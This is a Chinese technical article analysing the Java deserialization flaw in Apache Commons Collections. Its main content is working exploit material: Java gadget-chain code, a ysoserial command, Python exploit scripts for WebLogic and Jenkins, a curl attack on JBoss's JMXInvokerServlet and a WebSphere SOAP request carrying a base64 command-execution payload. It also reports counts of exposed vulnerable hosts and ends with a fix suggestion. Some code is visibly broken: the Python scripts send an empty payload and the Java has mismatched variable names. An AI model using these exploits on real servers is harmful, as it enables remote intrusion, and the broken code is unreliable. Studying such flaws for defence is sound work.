2015年11月6日,FoxGlove Security安全團隊的@breenmachine 發布的一篇博客[3]中介紹了如何利用Java反序列化漏洞,來攻擊最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS這些大名鼎鼎的Java應用,實現遠程代碼執行。
然而事實上,博客作者並不是漏洞發現者。博客中提到,早在2015年的1月28號,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上給出了一個報告[5],報告中介紹了Java反序列化漏洞可以利用Apache Commons Collections這個常用的Java庫來實現任意代碼執行,當時並沒有引起太大的關注。
Apache Commons Collections這樣的基礎庫非常多的Java應用都在用,一旦編程人員誤用了反序列化這一機制,使得用戶輸入可以直接被反序列化,就能導致任意代碼執行,這是一個極其嚴重的問題,博客中提到的WebLogic等存在此問題的應用可能只是冰山一角。
國內的技術人員對這個問題的關注依然較少。為了幫助大家更好的理解它,盡快避免和修復這些問題,本文對此做了一個深入的漏洞原理和利用分析。
Java反序列化漏洞簡介:
序列化就是把對象轉換成字節流,便於保存在內存、文件、數據庫中;反序列化即逆過程,由字節流還原成對象。
Java中的ObjectOutputStream
類的writeObject()
方法可以實現序列化,類ObjectInputStream
類的readObject()
方法用於反序列化。下面是將字符串對象先進行序列化,存儲到本地文件,然后再通過反序列化進行恢復的樣例代碼:
1 public static void main(String args[]) throws Exception { 2 String obj = "hello world!"; 3 4 // 將序列化對象寫入文件object.db中 5 FileOutputStream fos = new FileOutputStream("object.db"); 6 ObjectOutputStream os = new ObjectOutputStream(fos); 7 os.writeObject(obj); 8 os.close(); 9 10 // 從文件object.db中讀取數據 11 FileInputStream fis = new FileInputStream("object.db"); 12 ObjectInputStream ois = new ObjectInputStream(fis); 13 14 // 通過反序列化恢復對象obj 15 String obj2 = (String)ois.readObject(); 16 ois.close(); 17 }
如果Java應用對用戶輸入,即不可信數據做了反序列化處理,那么攻擊者可以通過構造惡意輸入,讓反序列化產生非預期的對象,非預期的對象在產生過程中就有可能帶來任意代碼執行。
反序列化問題由來已久,且並非Java語言特有,在其他語言例如PHP和Python中也有相似的問題。@gebl和@frohoff的報告中所指出的並不是反序列化這個問題,而是一些公用庫,例如Apache Commons Collections中實現的一些類可以被反序列化用來實現任意代碼執行。WebLogic、WebSphere、JBoss、Jenkins、OpenNMS這些應用的反序列化漏洞能夠得以利用,就是依靠了Apache Commons Collections。這種庫的存在極大地提升了反序列化問題的嚴重程度,可以比作在開啟了ASLR地址隨機化防御的系統中,出現了一個加載地址固定的共享庫。
利用Apache Commons Collections實現遠程代碼執行:
參考Matthias Kaiser在11月份的報告[Matthias Kaiser - Exploiting Deserialization Vulnerabilities in Java.],以Apache Commons Collections 3為例,來解釋如何構造對象,能夠讓程序在反序列化,即調用readObject()
時,就能直接實現任意代碼執行。
Map
類是存儲鍵值對的數據結構,Apache Commons Collections中實現了類TransformedMap
,用來對Map
進行某種變換,只要調用decorate()
函數,傳入key和value的變換函數Transformer
,即可從任意Map
對象生成相應的TransformedMap
,decorate()
函數如下:
1 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { 2 return new TransformedMap(map, keyTransformer, valueTransformer); 3 }
Transformer
是一個接口,其中定義的transform()
函數用來將一個對象轉換成另一個對象。如下所示:
1 public interface Transformer { 2 public Object transform(Object input); 3 }
當Map
中的任意項的Key或者Value被修改,相應的Transformer
就會被調用。除此以外,多個Transformer
還能串起來,形成ChainedTransformer
。
Apache Commons Collections中已經實現了一些常見的Transformer
,其中有一個可以通過調用Java的反射機制來調用任意函數,叫做InvokerTransformer
,代碼如下:
public class InvokerTransformer implements Transformer, Serializable { ... public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } } }
只需要傳入方法名、參數類型和參數,即可調用任意函數。因此要想任意代碼執行,我們可以首先構造一個Map
和一個能夠執行代碼的ChainedTransformer
,以此生成一個TransformedMap
,然后想辦法去觸發Map
中的MapEntry
產生修改(例如setValue()
函數),即可觸發我們構造的Transformer。
測試代碼如下:
1 public static void main(String[] args) throws Exception { 2 Transformer[] transformers = new Transformer[] { 3 new ConstantTransformer(Runtime.class), 4 new InvokerTransformer("getMethod", new Class[] { 5 String.class, Class[].class }, new Object[] { 6 "getRuntime", new Class[0] }), 7 new InvokerTransformer("invoke", new Class[] { 8 Object.class, Object[].class }, new Object[] { 9 null, new Object[0] }), 10 new InvokerTransformer("exec", new Class[] { 11 String.class }, new Object[] {"calc.exe"})}; 12 13 Transformer transformedChain = new ChainedTransformer(transformers); 14 15 Map innerMap = new hashMap(); 16 innerMap.put("value", "value"); 17 map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); 18 19 Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next(); 20 onlyElement.setValue("foobar"); 21 22 }
當上面的代碼運行到setValue()
時,就會觸發ChainedTransformer
中的一系列變換函數:首先通過ConstantTransformer
獲得Runtime
類,進一步通過反射調用getMethod
找到invoke
函數,最后再運行命令calc.exe
。
但是目前的構造還需要依賴於觸發Map
中某一項去調用setValue()
,我們需要想辦法通過readObject()
直接觸發。
我們觀察到java運行庫中有這樣一個類AnnotationInvocationHandler
,這個類有一個成員變量memberValues
是Map
類型,如下所示:
1 class AnnotationInvocationHandler implements InvocationHandler, Serializable { 2 private final Class<? extends Annotation> type; 3 private final Map<String, Object> memberValues; 4 5 AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { 6 this.type = type; 7 this.memberValues = memberValues; 8 } 9 ...
更令人驚喜的是,AnnotationInvocationHandler
的readObject()
函數中對memberValues
的每一項調用了setValue()
函數,如下所示:
1 private void readObject(java.io.ObjectInputStream s) 2 throws java.io.IOException, ClassNotFoundException { 3 s.defaultReadObject(); 4 5 6 // Check to make sure that types have not evolved incompatibly 7 8 AnnotationType annotationType = null; 9 try { 10 annotationType = AnnotationType.getInstance(type); 11 } catch(IllegalArgumentException e) { 12 // Class is no longer an annotation type; all bets are off 13 return; 14 } 15 16 Map<String, Class<?>> memberTypes = annotationType.memberTypes(); 17 18 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { 19 String name = memberValue.getKey(); 20 Class<?> memberType = memberTypes.get(name); 21 if (memberType != null) { // i.e. member still exists 22 Object value = memberValue.getValue(); 23 if (!(memberType.isInstance(value) || 24 value instanceof ExceptionProxy)) { 25 // 此處觸發一些列的Transformer 26 memberValue.setValue( 27 new AnnotationTypeMismatchExceptionProxy( 28 value.getClass() + "[" + value + "]").setMember( 29 annotationType.members().get(name))); 30 } 31 } 32 } 33 }
因此,我們只需要使用前面構造的Map
來構造AnnotationInvocationHandler
,進行序列化,當觸發readObject()
反序列化的時候,就能實現命令執行。另外需要注意的是,想要在調用未包含的package中的構造函數,我們必須通過反射的方式,綜合生成任意代碼執行的payload的代碼如下:
1 public static void main(String[] args) throws Exception { 2 Transformer[] transformers = new Transformer[] { 3 new ConstantTransformer(Runtime.class), 4 new InvokerTransformer("getMethod", new Class[] { 5 String.class, Class[].class }, new Object[] { 6 "getRuntime", new Class[0] }), 7 new InvokerTransformer("invoke", new Class[] { 8 Object.class, Object[].class }, new Object[] { 9 null, new Object[0] }), 10 new InvokerTransformer("exec", new Class[] { 11 String.class }, new Object[] {"calc.exe"})}; 12 13 Transformer transformedChain = new ChainedTransformer(transformers); 14 15 Map innerMap = new hashMap(); 16 innerMap.put("value", "value"); 17 map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); 18 19 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 20 Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); 21 ctor.setAccessible(true); 22 Object instance = ctor.newInstance(Target.class, outerMap); 23 24 File f = new File("payload.bin"); 25 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); 26 out.writeObject(instance); 27 out.flush(); 28 out.close(); 29 30 }
以上解釋了如何通過Apache Commons Collections 3這個庫中的代碼,來構造序列化對象,使得程序在反序列化時可以立即實現任意代碼執行。
我們可以直接使用工具ysoserial【https://github.com/frohoff/ysoserial】【appseccali-2015-marshalling-pickles】來生成payload,當中包含了4種通用的payload:Apache Commons Collections 3和4,Groovy,Spring,只要目標應用的Class Path中包含這些庫,ysoserial生成的payload即可讓readObject()
實現任意命令執行。
ysoserial當中針對Apache Commons Collections 3的payload也是基於TransformedMap
和InvokerTransformer
來構造的,而在觸發時,並沒有采用上文介紹的AnnotationInvocationHandler
,而是使用了java.lang.reflect.Proxy
中的相關代碼來實現觸發。此處不再做深入分析,有興趣的讀者可以參考ysoserial的源碼。
漏洞利用實例:
利用過程概述:
首先拿到一個Java應用,需要找到一個接受外部輸入的序列化對象的接收點,即反序列化漏洞的觸發點。我們可以通過審計源碼中對反序列化函數的調用(例如readObject()
)來尋找,也可以直接通過對應用交互流量進行抓包,查看流量中是否包含java序列化數據來判斷,java序列化數據的特征為以標記(ac ed 00 05)開頭。
確定了反序列化輸入點后,再考察應用的Class Path中是否包含Apache Commons Collections庫(ysoserial所支持的其他庫亦可),如果是,就可以使用ysoserial來生成反序列化的payload,指定庫名和想要執行的命令即可:
java -jar ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollections1 'id >> /tmp/redrain' > payload.out
通過先前找到的傳入對象方式進行對象注入,數據中載入payload,觸發受影響應用中ObjectInputStream
的反序列化操作,隨后通過反射調用Runtime.getRunTime.exec
即可完成利用。
WebLogic:
參照【foxglovesecurity analysis】中的方法,對安裝包文件grep受影響的類InvokerTransformer
:
root@root:/opt/OracleHome# grep -R InvokerTransformer ./ Binary file ./oracle_common/modules/com.bea.core.apache.commons.collections.jar matches
接着通過尋找接收外部輸入的點,來讓我們發送序列化對象。
WebLogic外部只開了一個7001端口,這個端口接受HTTP,T3,SNMP協議,判斷協議類型后再把數據路由到內部正確的位置,通過在server上抓包,發現走T3協議時攜帶了java序列化對象,所以我們只用把這個包文從序列化開始的標記(ac ed 00 05)后加入payload,重放這個數據,完成利用。
以下是breenmachine的完整利用腳本:
1 #!/usr/bin/python 2 import socket 3 import sys 4 5 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 6 7 server_address = (sys.argv[1], int(sys.argv[2])) 8 print 'connecting to %s port %s' % server_address 9 sock.connect(server_address) 10 11 # Send headers 12 headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n' 13 print 'sending "%s"' % headers 14 sock.sendall(headers) 15 16 data = sock.recv(1024) 17 print >>sys.stderr, 'received "%s"' % data 18 19 payloadObj = open(sys.argv[3],'rb').read() 20 21 payload='' 22 print 'sending payload...' 23 '''outf = open('payload.tmp','w') 24 outf.write(payload) 25 outf.close()''' 26 sock.send(payload)
在weblogic的利用中,有個小坑是不能破壞原始T3協議數據中包裝的java對象。
Jenkins:
Jenkins是一個非常流行的CI工具,在很多企業的內網中都部署了這個系統,這個系統常常和企業的代碼相關聯,這次也受到了Java反序列化漏洞的影響,非常危險。
同樣,通過grep受影響的類InvokerTransformer
root@root:/usr/share/jenkins# grep -R "InvokerTransformer" ./ Binary file ./webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar matches
在開放的端口上抓包,定位到Jeenkins的CLI包文中的序列化開始標記(rO0)。 在發送CLI的第一個包文后:
00000000 00 14 50 72 6f 74 6f 63 6f 6c 3a 43 4c 49 2d 63 ..Protoc ol:CLI-c 00000010 6f 6e 6e 65 63 74 onnect
在標記位的地方將base64處理過的payload修改覆蓋原始包文中的序列化對象,發包后,完成利用。這里給出一個演示視頻:
以下是@breenmachine的完整利用腳本:
1 #!/usr/bin/python 2 3 #usage: ./jenkins.py host port /path/to/payload 4 import socket 5 import sys 6 import requests 7 import base64 8 9 host = sys.argv[1] 10 port = sys.argv[2] 11 12 #Query Jenkins over HTTP to find what port the CLI listener is on 13 r = requests.get('http://'+host+':'+port) 14 cli_port = int(r.headers['X-Jenkins-CLI-Port']) 15 16 #Open a socket to the CLI port 17 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 18 server_address = (host, cli_port) 19 print 'connecting to %s port %s' % server_address 20 sock.connect(server_address) 21 22 # Send headers 23 headers='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74' 24 print 'sending "%s"' % headers 25 sock.send(headers) 26 27 data = sock.recv(1024) 28 print >>sys.stderr, 'received "%s"' % data 29 30 data = sock.recv(1024) 31 print >>sys.stderr, 'received "%s"' % data 32 33 payloadObj = open(sys.argv[3],'rb').read() 34 payload_b64 = base64.b64encode(payloadObj) 35 payload='' 36 37 print 'sending payload...' 38 '''outf = open('payload.tmp','w') 39 outf.write(payload) 40 outf.close()''' 41 sock.send(payload)
Jboss:
Jboss受影響的情況就比之前Jenkins遜色不少,正如之前所說,要成功利用必須要找到程序接受外部輸入的點,而此處的利用需要/invoker/jmx的支持,大部分情況下的實際場景,jboss都刪除了jmx,所以讓此處的利用大打折扣。
分析流程和之前一樣,只不過此處接受的點在jmx上,所以通過的協議也和前兩個不同,是HTTP協議,不再贅述,詳細的jboss分析可以參看Exploit – JBoss。
利用如下:
curl --header 'Content-Type: application/x-java-serialized-object; class="org".jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload.out' http://172.17.0.2:8080/invoker/JMXInvokerServlet
也可以看breenmachine給出的http請求報文:
POST /invoker/JMXInvokerServlet HTTP/1.1 Host: 172.17.0.2:8080 Content-Type:application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue Content-Length: 1434 payload
WebSphere:
WebSphere的利用相比較之前幾個case就非常粗暴簡單了,可惜的是很少會暴露在公網。
找到受影響的lib的位置。
root@root:/opt/server/IBM# find . -iname "*commons*collection*" ./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.1/commons-collections.jar ./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.2.4/commons-collections.jar ./WebSphere/AppServer/plugins/com.ibm.ws.prereq.commons-collections.jar ./WebSphere/AppServer/systemApps/LongRunningScheduler.ear/JobManagementWeb.war/WEB-INF/lib/commons-collections.jar ./WebSphere/AppServer/systemApps/isclite.ear/commons-collections.jar ./WebSphere/AppServer/deploytool/itp/plugins/com.ibm.websphere.v85_2.0.0.v20120621_2102/wasJars/com.ibm.ws.prereq.commons-collections.jar
查看端口開放情況后發現WebSphere默認起了10個端口監聽所有接口,通過burp suite看到在請求websphere默認端口8880上有一個POST的請求,body中帶有base64處理后的java序列化對象,同樣的,標記位置仍然是"rO0",我們將生成的payload做base64處理后覆蓋之前的序列化對象即可利用。
POST / HTTP/1.0 Host: 127.0.0.1:8880 Content-Type: text/xml; charset=utf-8 Content-Length: 2646 SOAPAction: "urn:AdminService" <?xml version='1.0' encoding='UTF-8'?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.1" ns0:JMXMessageVersion="1.2.0" ns0:SecurityEnabled="true" ns0:JMXVersion="1.2.0"> <LoginMethod>BasicAuth</LoginMethod> </SOAP-ENV:Header> <SOAP-ENV:Body> <ns1:getAttribute xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <objectname xsi:type="ns1:javax.management.ObjectName">rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAEHRvdWNoIC90bXAvcHduZWR0AARleGVjdXEAfgAeAAAAAXEAfgAjc3EAfgARc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAAAAeHBxAH4AOg==</objectname> <attribute xsi:type="xsd:string">ringBufferSize</attribute> </ns1:getAttribute> </SOAP-ENV:Body> </SOAP-ENV:Envelope>
其它:
因為這個安全問題的根源在於ObjectInputStream
處理反序列化時接受外部輸入,而又由於其他類似InvokerTransformer
的類的構造函數被調用,從而造成執行,而InvokerTransformer
方便的提供了根據外部輸入類名函數名反射執行的作用,所以造成整個程序RCE。
所以該問題並不是像其他一些語言unserialize函數本身存在漏洞,而是在應用本身實現的方式上存在缺陷,導致應用受到RCE的影響,開個腦洞引申一下,可以很明了的發現,遠遠不止breenmachine所指出的這幾個流行web server,更可能影響更多使用了commons-collections
,並且觸發ObjectInputStream
反序列化操作的應用,如一些java開發的CMS,中間件等等,甚至不僅僅是PC端,移動端如Android的很多app都可能受到該問題影響。
漏洞影響:
通過簡單的全網分析和POC驗證。
Jenkins收到該漏洞影響較大,在自測中,全球暴露在公網的11059
台均受到該問題影響,zoomeye的公開數據中再測試后有12493
受到該漏洞影響,shadon的公開數據中16368
台jenkins暴露公網可能受到影響(未復測shadon數據)。
Weblogic因為公開到公網的數據較少,所以受影響面也稍微少一些,在自測中,全球486
台均受到該問題影響,zoomeye的公開數據中再測試后有201
台收到該漏洞影響,shadon的公開數據中806
台weblogic可能受到影響(未復測shadon數據)。
Jboss因為需要/invoker/JMXInvokerServlet的支持,所以受影響面稍小(但我們並未具體檢測jboss中沒有刪除/invoker/JMXInvokerServlet的數據),在自測中,全球29194
台jboss暴露在公網,但由於大部分jboss都刪除了jmx,所以真正受到影響的覆蓋面並不廣,zoomeye的公開數據中有7770
台jboss暴露在公網,shadon的公開數據中46317
台jboss暴露在公網。
WebSphere在自測中,全球暴露在公網的2076
台均受到該問題影響,zoomeye的公開數據中再測試后仍有4511
台websphere受到影響,shadon的公開數據中5537
台websphere可能受到影響(未復測shadon數據)。
修復建議:
有一個臨時的解決方案可以參考NibbleSecurity公司的ikkisoft在github上放出了一個臨時補丁SerialKiller
。
下載這個jar后放置於classpath,將應用代碼中的java.io.ObjectInputStream
替換為SerialKiller
,之后配置讓其能夠允許或禁用一些存在問題的類,SerialKiller
有Hot-Reload,Whitelisting,Blacklisting幾個特性,控制了外部輸入反序列化后的可信類型。
lib地址:https://github.com/ikkisoft/SerialKiller
轉載:http://www.cnblogs.com/sevck/